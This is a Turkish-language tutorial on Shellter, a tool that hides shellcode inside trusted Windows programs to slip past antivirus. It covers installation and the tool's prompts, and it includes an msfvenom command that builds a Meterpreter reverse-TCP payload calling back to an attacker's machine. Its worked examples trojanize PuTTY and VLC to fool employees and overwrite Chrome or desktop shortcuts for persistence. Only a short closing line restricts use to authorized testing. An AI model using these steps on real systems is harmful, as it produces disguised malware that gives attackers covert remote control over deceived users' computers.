**Shellter Nedir? Antivirüsleri Atlatma Sanatı ve Kullanım Rehberi**

Siber güvenlik alanında kırmızı ve mavi takımlar arasındaki mücadele hiç bitmez. Kırmızı takım operatörleri bir sisteme sızmaya çalışırken, karşılarındaki en büyük engellerden biri antivirüs (AV) ve Uç Nokta Tespiti ve Yanıt (EDR) çözümleridir. Metasploit gibi araçlarla oluşturulan standart zararlı yazılımlar (payload), bu güvenlik ürünleri tarafından anında tespit edilir. İşte bu noktada, **Shellter** gibi sofistike araçlar devreye girer ve bu tespitten kaçınma sanatını icra eder.

Bu yazıda, Shellter'ın ne olduğunu, neden bu kadar etkili olduğunu, nasıl kurulup kullanılacağını ve gerçek dünya senaryolarında nasıl uygulanabileceğini adım adım keşfedeceğiz.

**1. Shellter Aracı Nedir?**

**Shellter**, dinamik bir "shellcode" enjeksiyon aracıdır. En temel tanımıyla, meşru ve zararsız bir Windows uygulamasını (genellikle .exe uzantılı) alıp, içine zararlı bir kod parçacığı (shellcode) gizleyerek onu bir truva atına dönüştürür.

Shellter'ın çalışma mantığı, sıfırdan yeni bir virüs dosyası oluşturmak değildir. Bunun yerine, herkesin güvendiği ve kullandığı bir programı (örneğin, putty.exe, vlc.exe, winrar.exe gibi) seçer ve bu programın çalışmasını bozmadan, arka planda kendi zararlı görevini yerine getirecek kodu enjekte eder. Bu sayede ortaya çıkan dosya, hem orijinal uygulamanın işlevini yerine getirir hem de gizlice saldırganın komutlarını çalıştırır. Bu yönteme **PE (Portable Executable) Infector** tekniği denir.

**2. Neden Kullanılır?**

Shellter'ın popülerliğinin arkasında yatan birkaç temel neden vardır:

* **Antivirüs Atlatma (AV Evasion):** Bu, en temel kullanım amacıdır.
  + **Statik Analizden Kaçınma:** Antivirüsler, dosyaları bilinen zararlı imzalarla (hash değerleri) karşılaştırır. Shellter, meşru bir uygulamanın içine kod enjekte ettiği için ortaya çıkan dosyanın imzası, bilinen hiçbir virüs imzasıyla eşleşmez.
  + **Sezgisel (Heuristic) Analizi Atlatma:** Enfekte edilen uygulama (örneğin PuTTY), hala beklendiği gibi çalıştığı için davranışsal analiz motorlarını kandırabilir. Kullanıcı PuTTY'yi çalıştırdığında, normal PuTTY arayüzü açılır ve her şey normal görünür.
* **Sosyal Mühendislik Kolaylığı:** Kullanıcıları virus.exe adlı bir dosyayı çalıştırmaya ikna etmek zordur. Ancak onlara "güncellenmiş bir PuTTY" veya "özel bir hesap makinesi" olarak sunulan ve ikonuyla, adıyla meşru görünen bir dosyayı çalıştırmaya ikna etmek çok daha kolaydır.
* **Gizlilik:** Shellter, enjekte ettiği shellcode'u programın çalışması sırasında dinamik olarak belleğe yükleyip çalıştırabilir. "Stealth Mode" gibi özellikleri sayesinde, izleme (monitoring) ve hata ayıklama (debugging) araçlarından kendini gizlemeye çalışır.
* **Savunmayı Test Etmek:** Mavi Takımlar için Shellter, kendi güvenlik ürünlerinin (AV/EDR) bu tür gelişmiş gizlenme tekniklerine karşı ne kadar etkili olduğunu test etmek için paha biçilmez bir araçtır.

**3. Nasıl Kurulum Yapılır?**

Shellter, Windows tabanlı bir araçtır ancak Linux (özellikle Kali Linux) üzerinde **Wine** adlı uyumluluk katmanı ile sorunsuzca çalıştırılabilir.

**Windows Üzerinde Kurulum:**

1. Shellter'ın resmi web sitesine gidin: [**https://www.shellterproject.com/**](https://www.google.com/url?sa=E&q=https%3A%2F%2Fwww.shellterproject.com%2F)
2. "Downloads" bölümünden en son sürümü indirin. Genellikle bir .zip arşivi olarak gelir.
3. İndirdiğiniz arşivi bir klasöre çıkarın.
4. Kurulum tamamlanmıştır! shellter.exe dosyasına çift tıklayarak aracı çalıştırabilirsiniz.

**Kali Linux Üzerinde Kurulum (Wine ile):**

Kali Linux kullanıcıları için Wine'ı kurmak ve Shellter'ı çalıştırmak da oldukça basittir.

1. **32-bit mimariyi ve Wine'ı etkinleştirin:**

sudo dpkg --add-architecture i386

sudo apt update

sudo apt install -y wine32

1. **Shellter'ı indirin ve arşivi çıkarın:**

wget https://www.shellterproject.com/Downloads/Shellter/Shellter.vX.X.zip # X.X yerine güncel sürümü yazın

unzip Shellter.vX.X.zip

cd Shellter/

1. **Shellter'ı Wine ile çalıştırın:**

wine shellter.exe

Bu komut sonrası Shellter'ın interaktif konsolu açılacaktır.

**4. Kullanım Parametreleri Nedir?**

Shellter, komut satırı parametreleri ile çalışan bir araçtan ziyade, **interaktif bir konsol** üzerinden çalışır. Aracı başlattığınızda size adım adım ne yapmak istediğinizi sorar. Temel adımlar şunlardır:

1. **Operation Mode (Çalışma Modu Seçimi):**
   * **[A]uto:** Otomatik mod. Shellter, enjeksiyon için en uygun yeri kendisi bulur. Yeni başlayanlar için idealdir.
   * **[M]anual:** Manuel mod. İleri düzey kullanıcılar için PE dosyasının hangi bölümüne enjeksiyon yapılacağını manuel olarak seçme imkanı tanır.
2. **PE Target (Hedef Uygulama):** Shellcode'u enjekte etmek istediğiniz .exe dosyasının yolunu girmeniz istenir. Örneğin: C:\Users\User\Desktop\putty.exe
3. **Stealth Mode (Gizlilik Modu):** [Y]es veya [N]o ile seçilir. Aktif edildiğinde Shellter, AV/EDR takibinden kaçınmak için ek gizleme teknikleri uygular. Kullanılması şiddetle tavsiye edilir.
4. **Payload Selection (Zararlı Yük Seçimi):**
   * **[L]isted Payloads:** Shellter'ın Metasploit ile entegre, içinde hazır bulunan payload listesinden birini seçebilirsiniz (örneğin, meterpreter\_reverse\_tcp).
   * **[C]ustom Payload:** Kendi oluşturduğunuz bir shellcode'u (örneğin, msfvenom ile ürettiğiniz .bin dosyası) kullanabilirsiniz.
5. **Payload Ayarları:** Seçtiğiniz payload'a göre LHOST (saldırganın IP adresi) ve LPORT (dinlenecek port) gibi bilgileri girmeniz istenir.

Bu adımlar tamamlandığında Shellter, enjeksiyonu gerçekleştirir ve orijinal dosyanın bulunduğu dizine yeni, enfekte edilmiş bir .exe dosyası oluşturur.

**5. Bu Aracı Etkili Kullanmanın 5 Tane Örneği**

Aşağıda, Shellter'ın farklı amaçlar için nasıl kullanılabileceğini gösteren pratik örnekler bulunmaktadır.

**Örnek 1: Standart Meterpreter Enjeksiyonu (PuTTY ile)**

* **Amaç:** Hedef sistemde temel bir Meterpreter oturumu elde etmek.
* **Açıklama:** Bu en yaygın kullanım senaryosudur. Güvenilir bir IT aracı olan PuTTY'yi kullanarak hedeften bağlantı alınır.
* **Adımlar:**
  1. **Dinleyiciyi Başlatın (Kali'de):** msfconsole açılır ve exploit/multi/handler modülü ayarlanır. Payload olarak windows/meterpreter/reverse\_tcp, LHOST olarak Kali IP'niz ve LPORT ayarlanır. run komutu ile dinleyici başlatılır.
  2. **Shellter'ı Çalıştırın:** wine shellter.exe
  3. **Mod:** A (Auto) seçin.
  4. **Hedef:** putty.exe'nin yolunu verin.
  5. **Stealth Mode:** Y (Yes) seçin.
  6. **Payload:** L (Listed) seçin ve listeden windows/meterpreter/reverse\_tcp (genellikle 1. sıradadır) seçin.
  7. **Ayarlar:** LHOST ve LPORT bilgilerinizi girin.
* **Sonuç:** Oluşturulan enfekte PuTTY dosyası hedefte çalıştırıldığında, kullanıcıya normal PuTTY ekranı açılırken, arka planda Kali makinenize bir Meterpreter oturumu gelir.

**Örnek 2: Özel Shellcode Enjeksiyonu (msfvenom ile)**

* **Amaç:** Shellter'ın listesinde olmayan veya özel olarak kodlanmış (encoded) bir payload kullanmak.
* **Açıklama:** Bazen daha fazla kontrol ve daha gelişmiş AV atlatma için msfvenom ile kendi shellcode'umuzu oluşturmak isteyebiliriz.
* **Adımlar:**
  1. **Shellcode Oluşturun (Kali'de):**

msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=KALI\_IP LPORT=4444 -f raw -o payload.bin

* 1. Metasploit'te dinleyiciyi başlatın.
  2. Shellter'da Listed Payloads yerine C (Custom) seçin ve oluşturduğunuz payload.bin dosyasının yolunu gösterin.
* **Sonuç:** Shellter, hazır payload yerine sizin verdiğiniz özel shellcode'u enjekte eder. Bu, payload üzerinde tam kontrol sağlar.

**Örnek 3: Alakasız Bir Uygulama Kullanmak (VLC Media Player)**

* **Amaç:** Sosyal mühendislik senaryosunu güçlendirmek.
* **Açıklama:** Bir finans departmanındaki çalışana putty.exe göndermek şüphe çekebilir. Ancak ona bir video oynatıcı olan vlc.exe'nin güncel sürümü gibi görünen bir dosya göndermek daha inandırıcıdır.
* **Adımlar:** Örnek 1'deki adımların aynısı takip edilir, ancak putty.exe yerine hedef olarak vlc.exe'nin bir kopyası kullanılır.
* **Sonuç:** Kullanıcı, videoyu izlemek için enfekte VLC'yi çalıştırdığında, video normal şekilde oynatılırken arka planda Meterpreter oturumu açılır. Bu, kullanıcının şüphelenmesini neredeyse imkansız hale getirir.

**Örnek 4: 32-bit Uygulamaya 32-bit Payload Enjekte Etmek**

* **Amaç:** Hedef sistemin mimarisiyle uyumluluğu sağlamak.
* **Açıklama:** Shellter, 32-bit bir uygulamaya sadece 32-bit, 64-bit bir uygulamaya ise hem 32-bit hem de 64-bit payload enjekte edebilir. Eğer hedefiniz 32-bit eski bir Windows sürümü ise veya 32-bit bir uygulama kullanıyorsanız, buna uygun bir payload seçmek kritik öneme sahiptir.
* **Adımlar:**
  1. Hedef olarak 32-bit bir uygulama seçin (örneğin, 32-bit plink.exe).
  2. Shellter'da payload seçerken windows/meterpreter/reverse\_tcp gibi 32-bit uyumlu bir payload seçtiğinizden emin olun (windows/x64/... olanlardan kaçının).
* **Sonuç:** Bu, payload'ın hedef sistemde hatasız çalışmasını garanti eder.

**Örnek 5: Kalıcılık (Persistence) için Kullanım**

* **Amaç:** Her sistem yeniden başladığında veya kullanıcı uygulamayı her açtığında bağlantıyı yeniden sağlamak.
* **Açıklama:** Bu, doğrudan Shellter'ın bir özelliği olmasa da, onunla oluşturulan dosyanın taktiksel bir kullanımıdır.
* **Adımlar:**
  1. Kullanıcının sık kullandığı bir uygulamayı (örneğin, chrome.exe, notepad++.exe) Shellter ile enfekte edin.
  2. Bu enfekte edilmiş dosyayı, orijinal dosyanın üzerine yazın veya kullanıcının masaüstündeki kısayolu bu yeni dosya ile değiştirin.
* **Sonuç:** Kullanıcı, her gün kullandığı Chrome tarayıcısını açmak için kısayola tıkladığında, tarayıcı normal çalışır ancak her seferinde size yeni bir oturum açılır. Bu, etkili bir kalıcılık yöntemidir.

**Sonuç**

Shellter, antivirüslerin statik ve sezgisel analiz yeteneklerini aşmak için tasarlanmış son derece güçlü ve yaratıcı bir araçtır. Meşru uygulamaları birer taşıyıcı olarak kullanarak, siber güvenlik profesyonellerine hem saldırı hem de savunma senaryolarını test etme imkanı sunar. Unutmayın ki, bu bilgi ve araçlar büyük bir sorumluluk gerektirir. **Shellter gibi araçlar, yalnızca siber güvenlik becerilerini geliştirmek, savunma mekanizmalarını test etmek ve güçlendirmek amacıyla, yasal yetkiniz ve tam izniniz olan sistemler üzerinde kullanılmalıdır.** Yetkisiz ve kötü niyetli kullanımı ciddi bir suçtur.